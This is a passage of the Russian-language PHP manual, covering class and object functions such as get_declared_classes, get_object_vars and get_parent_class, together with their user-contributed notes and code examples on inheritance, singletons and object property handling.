By having set getInstance() to protected in the Singleton class, the function is required to be overridden (good OOP practice).

One thing to mention is, that there is no error checking in case $class is null or undefined, which would result in a fatal error. At the moment, though, I can't see how it could happen when the getInstance() is protected, i.e. has to be overridden in a subclass -- but with good coding practice you should always error check.
mightye at gmail dot com 23-Jun-2007 06:20
To: Bryan

In this model it is still workable if your singleton variable is actually an array.  Consider:
<?php
abstract class Singleton {
    protected final static $instances = array();

    protected __construct(){}

    protected function getInstance() {
        $class = get_real_class(); // imaginary function returning the final class name, not the class the code executes from
        if (!isset(self::$instances[$class])) {
            self::$instances[$class] = new $class();
        }
        return self::$instances[$class];
    }
}
class A extends Singleton {
}
class B extends Singleton {
}

$a = A::getInstance();
$b = B::getInstance();

echo "\$a is a " . get_class($a) . "<br />";
echo "\$b is a " . get_class($b) . "<br />";
?>
This would output:
$a is a A
$b is a B

The only alternative as described elsewhere is to make getInstance() protected abstract, accept the class name as an argument, and extend this call with a public final method for every sub-class which uses get_class() in its local object scope and passes it to the superclass.

Or else create a singleton factory like this:
<?php
final class SingletonFactory {
    protected static $instances = array();

    protected getInstance($class) {
        if (!isset(self::$instances[$class])) {
            self::$instances[$class] = new $class();
        }
        return self::$instances[$class];
    }
}
?>
The downside to this of course to this latter model is that the class itself doesn't get to decide if it is a singleton, the calling code gets to decide this instead, and a class that really wants or *needs* to be a singleton has no way to enforce this, not even by making its constructor protected.

Basically these design patterns, and various other meta manipulations (things which operate on the nature of the object, not on the data the object holds) could benefit greatly from knowing exactly what the final type of this object is, and not having native access to this information obligates work-arounds.
janci 30-Apr-2007 12:00
To yicheng zero-four at gmail dot com: Another, maybe better example where finding out the real class (not the class we are in) in static method should be quite usefull is the Singleton pattern.

There is currently no way how to create an abstract Singleton class that could be used just by extending it without the need to change the extended class. Consider this example:
<?php
abstract class Singleton
{
    protected static $__instance = false;

    public static function getInstance()
    {
        if (self::$__instance == false)
        {
            // This acctually is not what we want, $class will always be 'Singleton' :(
            $class = get_class();
            self::$__instance = new $class();
        }
        return self::$__instance;
    }
}

class Foo extends Singleton
{
    // ...
}

$single_foo = Foo::getInstance();
?>
This piece of code will result in a fatal error saying: Cannot instantiate abstract class Singleton in ... on line 11

The best way I figured out how to avoid this requires simple but still a change of the extended (Foo) class:
<?php
abstract class Singleton
{
    protected static $__instance = false;

    protected static function getInstance($class)
    {
        if (self::$__instance == false)
        {
            if (class_exists($class))
            {
                self::$__instance = new $class();
            }
            else
            {
                throw new Exception('Cannot instantiate undefined class [' . $class . ']', 1);
            }
        }
        return self::$__instance;
    }
}

class Foo extends Singleton
{
    // You have to overload the getInstance method in each extended class:
    public static function getInstance()
    {
        return parent::getInstance(get_class());
    }
}

$single_foo = Foo::getInstance();
?>

This is of course nothing horrible, you will propably need to change something in the extended class anyway (at least the constructor access), but still... it is just not as nice as it possibly could be ;)
yicheng zero-four at gmail dot com 18-Jan-2007 12:22
This a response to luke at liveoakinteractive dot com and davidc at php dot net.  Static methods and variables, by definition, are bound to class types not object instances.  You should not need to dynamically find out what class a static method belongs to, since the context of your code should make it quite obvious.  Your questions reveals that you probably don't quite understand OOP quite yet (it took me a while as well).

Luke, the observed behavior from your particular code snippet makes perfect sense when you think about it.  The method getclass() is defined in BooBoof, so the __CLASS__ macro would be bound to BooBoof and defined in relation to the BooBoof class.  The fact that CooCoof is a subclass of BooBoof just means that it gains a shortcut to BooBoof::getclass().  So, in effect, you are really asking (in a convoluted way): "What is the class to which belongs the method call BooBoof::getclass()?"  The correct solution (if you actually want/need to do this) is to simply implement CooCoof::getclass() { return __CLASS__; } inside of the CooCoof definition, and any childclasses that you want to mimic this behavior.  CooCoof::getclass() will have the expected behavior.
luke at liveoakinteractive dot com 06-Dec-2006 07:03
This note is a response to the earlier post by davidc at php dot net. Unfortunately, the solution posted for getting the class name from a static method does not work with inherited classes.

Observe the following:
<?php
class BooBoof {
  public static function getclass() {
    return __CLASS__;
  }

  public function retrieve_class() {
    return get_class($this);
  }
}

class CooCoof extends BooBoof {
}

echo CooCoof::getclass();
// outputs BooBoof

$coocoof = new CooCoof;
echo $coocoof->retrieve_class();
// outputs CooCoof
?>

__CLASS__ and get_class($this) do not work the same way with inherited classes. I have been thus far unable to determine a reliable way to get the actual class from a static method.
benjaminhill at gmail dot com 27-Apr-2006 10:47
More funkyness:

class Parent {
   function displayTableName() {
      echo get_class($this);
      echo get_class();
   }
}

class Child {
   function __construct() {
      $this->displayTableName();
   }
}

Will return
- Child
- Parent

So when they say "the object isn't required in PHP5" - they don't really mean it.
refrozen dot com 05-Jul-2005 03:01
philip at cornado dot com, it returns the value of the class from which it was called, rather than the instance's name... causing inheritance to result in unexpected returns
MagicalTux at FF.ST 02-Feb-2004 04:11
Note that the constant __CLASS__ is different from get_class($this) :
<?
  class test {
    function whoami() {
      echo "Hello, I'm whoami 1 !\r\n";
      echo "Value of __CLASS__ : ".__CLASS__."\r\n";
      echo "Value of get_class() : ".get_class($this)."\r\n\r\n";
    }
  }
  class test2 extends test {
    function whoami2() {
      echo "Hello, I'm whoami 2 !\r\n";
      echo "Value of __CLASS__ : ".__CLASS__."\r\n";
      echo "Value of get_class() : ".get_class($this)."\r\n\r\n";
      parent::whoami(); // call parent whoami() function
    }
  }
  $test=new test;
  $test->whoami();
  $test2=new test2;
  $test2->whoami();
  $test2->whoami2();
?>

The output is :
Hello, I'm whoami 1 !
Value of __CLASS__ : test
Value of get_class() : test

Hello, I'm whoami 1 !
Value of __CLASS__ : test
Value of get_class() : test2

Hello, I'm whoami 2 !
Value of __CLASS__ : test2
Value of get_class() : test2

Hello, I'm whoami 1 !
Value of __CLASS__ : test
Value of get_class() : test2

In fact, __CLASS__ returns the name of the class the function is in and get_class($this) returns the name of the class which was created.


Возвращает массив с именами объявленных классов

  • « get_class
  • get_declared_interfaces »
  • PHP Manual
  • Функции работы с классами и объектами
  • Возвращает массив с именами объявленных классов

get_declared_classes

(PHP 4, PHP 5, PHP 7, PHP 8)

get_declared_classes — Возвращает массив с именами объявленных классов

Описание

get_declared_classes(): array

Функция возвращает объявленные классы.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция возвращает массив имён классов, которые объявили в текущем скрипте.

Замечание:

Учтите также, что в зависимости от модулей, которые собрали или загрузили в PHP, количество дополнительных классов варьируется. Это означает, что не получится объявлять свои классы с этими именами. Список предопределённых классов приводит раздел приложения «Предопределённые классы».

Список изменений

Версия | Описание
7.4.0 | Раньше функция get_declared_classes() возвращала родительские классы перед дочерними классами. Это поведение изменилось. Функция get_declared_classes() не гарантирует порядок имён классов в массиве с результатами.

Примеры

Пример #1 Пример использования функции get_declared_classes()

<?php

print_r(get_declared_classes());

?>

Вывод приведённого примера будет похож на:

Array
(
    [0] => stdClass
    [1] => __PHP_Incomplete_Class
    [2] => Directory
)

Смотрите также

  • class_exists() - Проверяет, объявили ли класс
  • get_declared_interfaces() - Возвращает массив объявленных интерфейсов
  • get_defined_functions() - Возвращает массив определённых функций

User Contributed Notes

rmamdaminov at gmail dot com 20-Oct-2023 05:19
Note that this function also counts enums.

<?php

enum Bla
{
    case Foo;
}

var_dump(get_declared_classes());
?>

Result:
array(116) {
    ...
    [115]=> string(3) "Bla"
}
brain at code dot com 14-Feb-2014 08:53
get-declared-classes makes no sense at all, if u maybe, later for production, merge class files in one package file.

lets say: package.php
print_r(get_declared_classes());
class declaredHere { }
print_r(get_declared_classes());

so in this case, the declaredHerr class is defined at the first call of print_r();
because PHP-complier runs a hole file and declare Stuff before running the code.

But (Lovely PHP):
print_r(get_declared_classes());
if(true){
class declaredHere { }
}
print_r(get_declared_classes());
Will print the declaredHere class only in the second print_r.

Its not a Bug it a...
yarco dot wang at gmail dot com 24-Nov-2013 07:32
those above comments are too old.
now, whatever the order is, the output will be the same:

<?php
class Test1
{}

print_r(get_declared_classes());

class Test2
{}

print_r(get_declared_classes());

?>

will output the same result.
dcahh at gmx de 29-Feb-2008 09:23
This function considers only classes and subclasses. Not subsubclasses.

In fact I have code that provides an abstract class and then classes using this abstract class. Further I have subclasses to my concrete classes - which is why my subclasses are not listed within the returned array.
dexen + goofy _ pl 25-Sep-2007 11:32
Summary:
 * in PHP 5.1 class names have case preserved
 * contrary, in PHP 4.4 class names are downcased, withe exception of a few build-in ones

The get_declared_classes() funcition returns the list of names with case preserved, as of PHP 5.1 series (prolly 5.0 too, but i have no way to test it right now). Since PHP generally is caseless in regard to names of classes, this may come at a surprise. Also, this could potentially break older code asssuming downcased list.

Take extra care when  checking for existence of a class. Following example is, potentially, error prone: <?php in_array( $className, $classget_declared_classes() ) ?>

A sure-fire (while slower) way would be to iterate over the array and normalize case to, say, lower:

<?php
$exists = FALSE;
$className = strtolower( $className );
foreach ( get_declared_classes() as $c ) {
    if ( $className === strtolower( $c ) ) {
        $exists = TRUE;
        break;
    }
}?>

Optimization of the above snippet is left as a simple excercise to the reader ;)
-- dexen deVries
matt at mattsoft dot net 21-Dec-2005 02:58
classes can't be unloaded. probably not very practical to implement that in a future version. I wouldn't go out of my way to do it if I were zend. you're better off finding a workaround. it's better programming technique to find a way around having to do that anyway.

http://www.zend.com/zend/week/week223.php#Heading10
22-Mar-2005 09:16
Regarding note of 3-21:

<?php

class myclass {}

$class = 'myclass';
$instance = new $class();

?>

This function could also be used to determine the names of classes defined in a particular file by calling it before and after include. It's hardly a pointless function.
matt-php at DONT-SPAM-ME dot bitdifferent dot com 01-Nov-2004 07:41
The array returned by this function will be in the order the classes were defined / included / required and this order does not appear to change.

For example:

<?PHP

//define classone
class classone { }

//define classtwo
class classtwo { }

//This will show X classes (built-ins, extensions etc) with
//classone and classtwo as the last two elements

print_r(get_declared_classes());

//define classthree
class classthree { }

//...and four
class classfour { }

//Shows the same result as before with class three and four appended
print_r(get_declared_classes());

?>

Output:

Array
(
   [0] => stdClass
   [1] .... other defined classes....
   [10] => classone
   [11] => classtwo
 )

and...

Array
(
   [0] => stdClass
   [1] .... other defined classes....
   [10] => classone
   [11] => classtwo
   [12] => classthree
   [13] => classfour
)
Jazeps Basko 07-Feb-2004 11:52
In PHP5, you don't get declared interfaces by calling this function!!!
To get interfaces you should use get_declared_interfaces(). However, to check if an interface is already defined, you should use class_exists()! This is strange, but PHP team does not think so.
smokey 20-Mar-2003 03:06
you cannot remove them. they are "defined", which happens when the class is being loaded from the parser. you just deleted an instance of a class.


Возвращает массив объявленных интерфейсов

  • « get_declared_classes
  • get_declared_traits »
  • PHP Manual
  • Функции работы с классами и объектами
  • Возвращает массив объявленных интерфейсов

get_declared_interfaces

(PHP 5, PHP 7, PHP 8)

get_declared_interfaces — Возвращает массив объявленных интерфейсов

Описание

get_declared_interfaces(): array

Функция возвращает массив имён интерфейсов, которые объявили.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция возвращает массив имён интерфейсов, которые объявили в текущем скрипте.

Примеры

Пример #1 Пример использования функции get_declared_interfaces()

<?php

print_r(get_declared_interfaces());

?>

Вывод приведённого примера будет похож на:

Array
(
    [0] => Traversable
    [1] => IteratorAggregate
    [2] => Iterator
    [3] => ArrayAccess
    [4] => reflector
    [5] => RecursiveIterator
    [6] => SeekableIterator
)

Смотрите также

  • interface_exists() - Проверяет, определён ли интерфейс
  • get_declared_classes() - Возвращает массив с именами объявленных классов
  • class_implements() - Возвращает список интерфейсов, реализованных в заданном классе или интерфейсе

User Contributed Notes

There are no user contributed notes for this page.


Возвращает массив объявленных трейтов

  • « get_declared_interfaces
  • get_mangled_object_vars »
  • PHP Manual
  • Функции работы с классами и объектами
  • Возвращает массив объявленных трейтов

get_declared_traits

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

get_declared_traits — Возвращает массив объявленных трейтов

Описание

get_declared_traits(): array

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция возвращает массив, значения которого — имена объявленных трейтов.

Смотрите также

  • class_uses() - Возвращает список трейтов, используемых заданным классом
  • trait_exists() - Проверяет, существует ли трейт

User Contributed Notes

@everaldofilho 14-Jul-2019 04:57
Example of use:

<?php

namespace Example;

// Declare Trait
trait FooTrait
{
}

// Declare Abstract class
abstract class FooAbstract
{
}

// Declare class
class Bar extends FooAbstract
{
    use FooTrait;
}

// Get all traits declareds
$array = get_declared_traits();

var_dump($array);
/**
 * Result:

 * array(1) {
 *  [0] =>
 *  string(23) "Example\FooTrait"
 * }
 */


Возвращает массив искажённых свойств объекта

  • « get_declared_traits
  • get_object_vars »
  • PHP Manual
  • Функции работы с классами и объектами
  • Возвращает массив искажённых свойств объекта

get_mangled_object_vars

(PHP 7 >= 7.4.0, PHP 8)

get_mangled_object_vars — Возвращает массив искажённых свойств объекта

Описание

get_mangled_object_vars(object $object): array

Функция возвращает массив (array), элементы которого — свойства объекта. Ключами массива будут имена переменных-членов, с рядом примечательных исключений: в начало имён закрытых переменных добавляется имя класса; в начало имён защищённых переменных — символ *. Функция также добавит NUL-байты слева и справа от звёздочки и имени класса. Неинициализированные типизированные свойства автоматически отбрасываются.

Список параметров

object

Экземпляр объекта.

Возвращаемые значения

Функция возвращает массив (array), который содержит свойства объекта object. Функция добавит в массив каждое свойство класса, независимо от модификатора видимости свойства.

Примеры

Пример #1 Пример использования функции get_mangled_object_vars()

<?php

class A
{
public $public = 1;
protected $protected = 2;
private $private = 3;
}

class B extends A
{
private $private = 4;
}

$object = new B;
$object->dynamic = 5;
$object->{'6'} = 6;

var_dump(get_mangled_object_vars($object));

class AO extends ArrayObject
{
private $private = 1;
}

$arrayObject = new AO(['x' => 'y']);
$arrayObject->dynamic = 2;

var_dump(get_mangled_object_vars($arrayObject));

?>

Результат выполнения приведённого примера:

array(6) {
  ["Bprivate"]=>
  int(4)
  ["public"]=>
  int(1)
  ["*protected"]=>
  int(2)
  ["Aprivate"]=>
  int(3)
  ["dynamic"]=>
  int(5)
  [6]=>
  int(6)
}
array(2) {
  ["AOprivate"]=>
  int(1)
  ["dynamic"]=>
  int(2)
}

Смотрите также

  • get_class_vars() - Получает свойства класса, которые объявили по умолчанию
  • get_object_vars() - Возвращает свойства указанного объекта

User Contributed Notes

There are no user contributed notes for this page.


Возвращает свойства указанного объекта

  • « get_mangled_object_vars
  • get_parent_class »
  • PHP Manual
  • Функции работы с классами и объектами
  • Возвращает свойства указанного объекта

get_object_vars

(PHP 4, PHP 5, PHP 7, PHP 8)

get_object_vars — Возвращает свойства указанного объекта

Описание

get_object_vars(object $object): array

Возвращает видимые нестатические свойства указанного объекта object в соответствии с областью видимости.

Список параметров

object

Экземпляр объекта

Возвращаемые значения

Возвращает ассоциативный массив нестатических свойств объекта object, доступных в данной области видимости.

Примеры

Пример #1 Пример использования get_object_vars()

<?php

class foo {
private $a;
public $b = 1;
public $c;
private $d;
static $e;

public function test() {
var_dump(get_object_vars($this));
}
}

$test = new foo;
var_dump(get_object_vars($test));

$test->test();

?>

Результат выполнения приведённого примера:

array(2) {
  ["b"]=>
  int(1)
  ["c"]=>
  NULL
}
array(4) {
  ["a"]=>
  NULL
  ["b"]=>
  int(1)
  ["c"]=>
  NULL
  ["d"]=>
  NULL
}

Замечание:

Неинициализированные свойства считаются недоступными и поэтому не включаются в массив.

Смотрите также

  • get_class_methods() - Возвращает массив имён методов класса
  • get_class_vars() - Получает свойства класса, которые объявили по умолчанию

User Contributed Notes

Trismegiste 16-Nov-2022 03:34
Please be aware of hidden behaviors with uninitialised properties. The note explains : « Uninitialized properties are considered inaccessible, and thus will not be included in the array. » but that's not entirely true in PHP 8.1. It depends if the property is type-hinted or not.

<?php

class Example
{
  public $untyped;
  public string $typedButNotInitialized;
  public ?string $typedOrNullNotInitialized;
  public ?string $typedOrNullWithDefaultNull = null;
}

var_dump(get_object_vars(new Example()));
?>

will print :

array(2) {
  ["untyped"]=>
  NULL
  ["typedOrNullWithDefaultNull"]=>
  NULL
}

As you can see, only "untyped" and "typedOrNullWithDefaultNull" properties are dumped with get_object_vars(). You may encounter problems when migrating old source code and adds carelessly types everywhere without proper initialisation (or default) and assuming it defaults to NULL like old code does.

Hope this helps
marcus at marcusball dot me 08-Apr-2021 10:54
When dealing with a very large quantity of objects, it is worth noting that using `get_object_vars()` may drastically increase memory usage.

If instantiated objects only use predefined properties from a class then PHP can use a single hashtable for the class properties, and small memory-efficient arrays for the object properties:

If a class is defined with three properties ($foo, $bar, and $baz), "PHP no longer has to store the data in a hashtable, but instead can say that $foo is proprety 0, $bar is proprety 1, $baz is property 2 and then just store the properties in a three-element C array. This means that PHP only needs one hashtable in the class that does the property-name to offset mapping and uses a memory-efficient C-array in the individual objects."

However, if you call `get_object_vars()` on an object like this, then PHP WILL build a hashtable for the individual object. If you have a large quantity of objects, and you call `get_object_vars()` on all of them, then a hashtable will be built for each object, resulting in a lot more memory usage. This can be seen in this bug report: https://bugs.php.net/bug.php?id=79392

The effects of this can be seen in this example:

<?php
class Example {
    public $foo;
    public $bar;
    public $baz;
}

function printMem($label) {
    $usage = memory_get_usage();
    echo sprintf('%s: %d (%.2f MB)', $label, $usage, $usage / 1000000) . PHP_EOL;
}

printMem('start');

$objects = [];
for ($i = 0; $i < 20000; $i++) {
    $obj = new Example;
    $obj->foo = bin2hex(random_bytes(5));
    $obj->bar = bin2hex(random_bytes(5));
    $obj->baz = bin2hex(random_bytes(5));
    $objects[] = $obj;
}

printMem('before get_object_vars');

// Clone each object, and get the vars on the clone
foreach ($objects as $obj) {
    $c = clone $obj;
    $vars = get_object_vars($c);

    // Accessing and modifying the original object is fine.
    foreach ($vars as $var => $val) {
        $obj->{$var} = strrev($val);
    }
}

printMem('get_object_vars using clone');

// Get the vars on each object directly
foreach ($objects as $obj) {
    $vars = get_object_vars($obj);

    // The memory is used even if you do not modify the object.
}

printMem('get_object_vars direct access');
?>

The output of this is:

    start: 405704 (0.41 MB)
    before get_object_vars: 6512416 (6.51 MB)
    get_object_vars using clone: 6033408 (6.03 MB)
    get_object_vars direct access: 13553408 (13.55 MB)

In short, if you are using classes to avoid additional memory usage associated with hashtables (like in associative arrays), be aware that `get_object_vars()` will create a hashtable for any object passed to it.

This appears to be present in all versions of PHP; I've tested it on PHP 5, 7, and 8.

Quotes are from Nikic's blog posts on arrays and hashtable memory usage, and Github gist "Why objects (usually) use less memory than arrays in PHP".
niemans at pbsolo dot nl 02-Jan-2021 04:47
You can use an anonymous class to return public variables from inside the class:

public function getPublicVars () {
    $me = new class {
        function getPublicVars($object) {
            return get_object_vars($object);
        }
    };
    return $me->getPublicVars($this);
}

Test script:

class Test {
    protected $protected;
    public    $public;
    private   $private;
    public function getAllVars () {
        return call_user_func('get_object_vars', $this);
    }
    public function getPublicVars () {
        $me = new class {
            function getPublicVars($object) {
                return get_object_vars($object);
            }
        };
        return $me->getPublicVars($this);
    }
}

$test = new Test();
print_r(get_object_vars($test)); // array("public" => NULL)
print_r($test->getAllVars());   // array("protected" => NULL, "public" => NULL, "private" => NULL)
print_r($test->getPublicVars()); // array("public" => NULL)
Fabien Haddadi 30-May-2012 09:42
It seems like there's no function that determines all the *static* variables of a class.

I've come out with this one as I needed it in a project:

<?php
function get_class_static_vars($object) {
     return array_diff(get_class_vars(get_class($object)), get_object_vars($object));
}
?>

It relies on an interesting property: the fact that get_object_vars only returns the non-static variables of an object.
fmmarzoa at librexpresion dot org 01-Nov-2004 11:53
You can still cast the object to an array to get all its members and see its visibility. Example:

<?php

class Potatoe {
    public $skin;
    protected $meat;
    private $roots;

    function __construct ( $s, $m, $r ) {
        $this->skin = $s;
        $this->meat = $m;
        $this->roots = $r;
    }
}

$Obj = new Potatoe ( 1, 2, 3 );

echo "<pre>\n";
echo "Using get_object_vars:\n";

$vars = get_object_vars ( $Obj );
print_r ( $vars );

echo "\n\nUsing array cast:\n";

$Arr = (array)$Obj;
print_r ( $Arr );

?>

This will returns:

Using get_object_vars:
Array
(
    [skin] => 1
)

Using array cast:
Array
(
    [skin] => 1
    [ * meat] => 2
    [ Potatoe roots] => 3
)

As you can see, you can obtain the visibility for each member from this cast. That which seems to be spaces into array keys are '\0' characters, so the general rule to parse keys seems to be:

Public members: member_name
Protected memebers: \0*\0member_name
Private members: \0Class_name\0member_name

I've wroten a obj2array function that creates entries without visibility for each key, so you can handle them into the array as it were within the object:

<?php

function obj2array ( &$Instance ) {
    $clone = (array) $Instance;
    $rtn = array ();
    $rtn['___SOURCE_KEYS_'] = $clone;

    while ( list ($key, $value) = each ($clone) ) {
        $aux = explode ("\0", $key);
        $newkey = $aux[count($aux)-1];
        $rtn[$newkey] = &$rtn['___SOURCE_KEYS_'][$key];
    }

    return $rtn;
}

?>

I've created also a <i>bless</i> function that works similar to Perl's bless, so you can further recast the array converting it in an object of an specific class:

<?php

function bless ( &$Instance, $Class ) {
    if ( ! (is_array ($Instance) ) ) {
        return NULL;
    }

    // First get source keys if available
    if ( isset ($Instance['___SOURCE_KEYS_'])) {
        $Instance = $Instance['___SOURCE_KEYS_'];
    }

    // Get serialization data from array
    $serdata = serialize ( $Instance );

    list ($array_params, $array_elems) = explode ('{', $serdata, 2);
    list ($array_tag, $array_count) = explode (':', $array_params, 3 );
    $serdata = "O:".strlen ($Class).":\"$Class\":$array_count:{".$array_elems;

    $Instance = unserialize ( $serdata );
    return $Instance;
}
?>

With these ones you can do things like:

<?php

define("SFCMS_DIR", dirname(__FILE__)."/..");
require_once (SFCMS_DIR."/Misc/bless.php");

class Potatoe {
    public $skin;
    protected $meat;
    private $roots;

    function __construct ( $s, $m, $r ) {
        $this->skin = $s;
        $this->meat = $m;
        $this->roots = $r;
    }

    function PrintAll () {
        echo "skin = ".$this->skin."\n";
        echo "meat = ".$this->meat."\n";
        echo "roots = ".$this->roots."\n";
    }
}

$Obj = new Potatoe ( 1, 2, 3 );

echo "<pre>\n";
echo "Using get_object_vars:\n";

$vars = get_object_vars ( $Obj );
print_r ( $vars );

echo "\n\nUsing obj2array func:\n";

$Arr = obj2array($Obj);
print_r ( $Arr );

echo "\n\nSetting all members to 0.\n";
$Arr['skin']=0;
$Arr['meat']=0;
$Arr['roots']=0;

echo "Converting the array into an instance of the original class.\n";
bless ( $Arr, Potatoe );

if ( is_object ($Arr) ) {
    echo "\$Arr is now an object.\n";
    if ( $Arr instanceof Potatoe ) {
        echo "\$Arr is an instance of Potatoe class.\n";
    }
}

$Arr->PrintAll();

?>


Получает имя родительского класса для объекта или класса

  • « get_object_vars
  • interface_exists »
  • PHP Manual
  • Функции работы с классами и объектами
  • Получает имя родительского класса для объекта или класса

get_parent_class

(PHP 4, PHP 5, PHP 7, PHP 8)

get_parent_class — Получает имя родительского класса для объекта или класса

Описание

get_parent_class(object|string $object_or_class = ?): string|false

Функция получает имя родительского класса для объекта или класса.

Список параметров

object_or_class

Тестируемый объект или имя класса.

Возвращаемые значения

Функция возвращает название родительского класса для объекта или имени класса object_or_class.

Функция вернёт значение false, если у объекта нет родителя или класс с таким именем не существует.

Список изменений

Версия | Описание
8.3.0 | Функция get_parent_class() теперь выдаёт предупреждение уровня E_DEPRECATED, если её вызывают без аргументов; раньше функция возвращала название класса, если её вызывали внутри класса.
8.0.0 | Параметр object_or_class теперь принимает только объекты или корректные имена классов.

Примеры

Пример #1 Пример использования функции get_parent_class()

<?php

class Dad
{
function __construct()
{
// Реализация логики
}
}

class Child extends Dad
{
function __construct()
{
echo "I'm " , get_parent_class($this) , "'s son\n";
}
}

class Child2 extends Dad
{
function __construct()
{
echo "I'm " , get_parent_class('child2') , "'s son too\n";
}
}

$foo = new child();
$bar = new child2();

?>

Результат выполнения приведённого примера:

I'm Dad's son
I'm Dad's son too

Смотрите также

  • get_class() - Возвращает имя класса, которому принадлежит объект
  • is_subclass_of() - Проверяет, принадлежит ли объект к потомкам класса, или реализует ли объект или родители объекта интерфейс
  • class_parents() - Возвращает список родительских классов заданного класса

User Contributed Notes

jake at qzdesign dot co dot uk 17-Oct-2019 10:47
Note that from PHP 5.5 you can also use `parent::class` from within a method, e.g.

<?php
    function child()
    {
        echo "I'm ", parent::class, "'s son\n";
    }
?>

Looks a bit tidier and technically probably more optimal, as it avoids a function call lookup.
yukal dot alexander at gmail dot com 24-Nov-2018 07:28
An output of the entire inheritance chain using closures, recursion, and OOP

class ParentClass {
    public static function getChain() {
        $chain = null;
        return $function = function($className='') use (& $chain, & $function) {
            if (empty($className))
                $className = static::class;

            if (empty($chain))
                $chain = $className;

            $parent = get_parent_class($className);

            if ($parent !== false) {
                $chain .= " > {$parent}";
                return $function($parent);
            }

            return $chain;
        };
    }
}

class Child extends ParentClass {}
class SubChild extends Child {}
class Sub2 extends SubChild {}
class Sub3 extends Sub2 {}
class Sub4 extends Sub3 {}
class Sub5 extends Sub4 {}
class Sub6 extends Sub5 {}
class Sub7 extends Sub6 {}

printf("%s\n", Sub7::getChain()());

$getChain = Sub7::getChain();
printf("%s\n", $getChain('Sub3'));

Output is:
Sub7 > Sub6 > Sub5 > Sub4 > Sub3 > Sub2 > SubChild > Child > ParentClass
Sub3 > Sub2 > SubChild > Child > ParentClass
falundir at gmail dot com 13-Apr-2012 10:27
You can use this function to find common parent of multiple objects or classes.

<?php
/**
 * Returns name of the first (in class hierarchy) common parent class of all provided objects or classes.
 * Returns FALSE when common class is not found.
 *
 * @param mixed $objects Array that can contain objects or class names.
 * @return mixed
 */
function get_first_common_parent($objects) {
    $common_ancestors = null;
    foreach($objects as $object) {
        if (is_object($object)) {
            $class_name = get_class($object);
        } else {
            $class_name = $object;
        }

        $parent_class_names = array();
        $parent_class_name = $class_name;
        do {
            $parent_class_names[] = $parent_class_name;
        } while($parent_class_name = get_parent_class($parent_class_name));

        if ($common_ancestors === null) {
            $common_ancestors = $parent_class_names;
        } else {
            $common_ancestors = array_intersect($common_ancestors, $parent_class_names);
        }
    }

    return reset($common_ancestors);
}
?>

Example:

<?php
class A {
}

    class B extends A {
    }

        class D extends B {
        }

        class E extends B {
        }

    class C extends A {
    }

        class F extends C {
        }

            class G extends F {
            }

class H {
}

//returns "A"
get_first_common_parent(array('G', 'E'));

//returns "F"
get_first_common_parent(array(new G(), 'F'));

//returns false (no common parent)
get_first_common_parent(array('C', 'H'));

//returns false (non-existent class provided)
get_first_common_parent(array(new B(), 'X'));
?>
levu 20-Apr-2011 08:36
I wrote a simple function doing the reverse thing: get the children:

<?php
function get_child($instance, $classname) {
    $class = $classname;
    $t = get_class($instance);
    while (($p = get_parent_class($t)) !== false) {
        if ($p == $class) {
            return $t;
        }
        $t = $p;
    }
    return false;
}

abstract class A {
    function someFunction() {
        return get_child($this, __CLASS__);
    }
}

class B extends A {

}

class C extends B {

}

$c = new C();
echo $c->someFunction(); //displays B

?>
ssb45 at cornell dot edu 14-May-2008 08:32
"'If called without parameter outside object' What on earth does that mean?"

There are two places this could be called:
1. From within a member function of an object.  In this case, it may be called with no parameters and will return the parent class of the object owning the member function.  (If the parameter is included, then it will return the parent class of the specified class as normal.)

2. From outside an object (i.e., global or function scope).  In this case, PHP doesn't know what class you're talking about if you don't include a parameter, so it returns FALSE.  (But, of course, it works if you specify the class with the parameter.)
matt-php at DONT-SPAM-ME dot bitdifferent dot com 01-Nov-2004 07:52
PHP (4 at least, dunno about 5) stores classnames in lower case, so:

<?PHP

class Foo
{
}

class Bar extends Foo
{
}

echo get_parent_class('Bar');

echo "\n";

echo get_parent_class('bar');

?>

will output:

foo
foo
radu dot rendec at ines dot ro 07-Apr-2004 06:44
If the argument obj is a string and the class is not defined, then the function returns FALSE.

If the argument obj is an object created from a class with no ancestors (or a string representing a class with no ancestors), then the function returns FALSE.


Проверяет, определён ли интерфейс

  • « get_parent_class
  • is_a »
  • PHP Manual
  • Функции работы с классами и объектами
  • Проверяет, определён ли интерфейс

interface_exists

(PHP 5 >= 5.0.2, PHP 7, PHP 8)

interface_exists — Проверяет, определён ли интерфейс

Описание

interface_exists(string $interface, bool $autoload = true): bool

Проверяет, определён ли указанный интерфейс.

Список параметров

interface

Имя интерфейса

autoload

Нужно ли автоматически подгружать интерфейс, если он ещё не загружен.

Возвращаемые значения

Возвращает true, если интерфейс c заданным именем interface был определён или false в противном случае.

Примеры

Пример #1 Пример использования interface_exists()

<?php
// Проверяем существование интерфейса перед его использованием
if (interface_exists('MyInterface')) {
class MyClass implements MyInterface
{
// Методы
}
}

?>

Смотрите также

  • get_declared_interfaces() - Возвращает массив объявленных интерфейсов
  • class_implements() - Возвращает список интерфейсов, реализованных в заданном классе или интерфейсе
  • class_exists() - Проверяет, объявили ли класс
  • enum_exists() - Проверяет, определили ли перечисление

User Contributed Notes

CoR 28-Nov-2015 02:30
Class and Interface share SAME namespace!

class k{}

interface k {}    // Fatal error: Cannot redeclare class k
maxim at inbox dot ru 01-Oct-2012 10:40
If you want to check for included interface and you already register spl autoloader - it will crash. Becassue autoloader trying to load `string` and he doesnt matter is it class or not.
Iv found several ways :
1 - unregister AL - -> check for Ifaces - -> register Autoloader

2 - $ifaces = array_flip(get_declared_interfaces());
 if($ifaces["MyIface"]) // empty // isset .

Interfaces are not bad, you can build correct geomentry of system , with validation by funcs / vars / const .
Also they are good to storage variables <?php
 ROOT::THEMES ; ROOT::LOC ; ?> . Much faster then Define, but you cant put algorithms inside, only complite strings / __file__ / etc.
nils dot rocine at gmail dot com 26-Oct-2011 06:35
A little note on namespaces that may be obvious to some, but was not obvious to me.

Although you can make the below statement when the statement is in the same namespace as the interface/class declaration MyInterface...
<?php
$foo instanceof MyInterface
?>

Making use of the interface_exists, or class_exists functions, you must enter the full namespaced interface name like so (even if the function call is from the same namespace.)
<?php
interface_exists(__NAMESPACE__ . '\MyInterface', false);
?>
andrey at php dot net 24-Oct-2004 04:40
As far as I remember interface_exists() was added in 5.0.2 . In 5.0.0 and 5.0.1 class_exists() used to return TRUE when asked for a existing interface. Starting 5.0.2 class_exists() doesn't do that anymore.


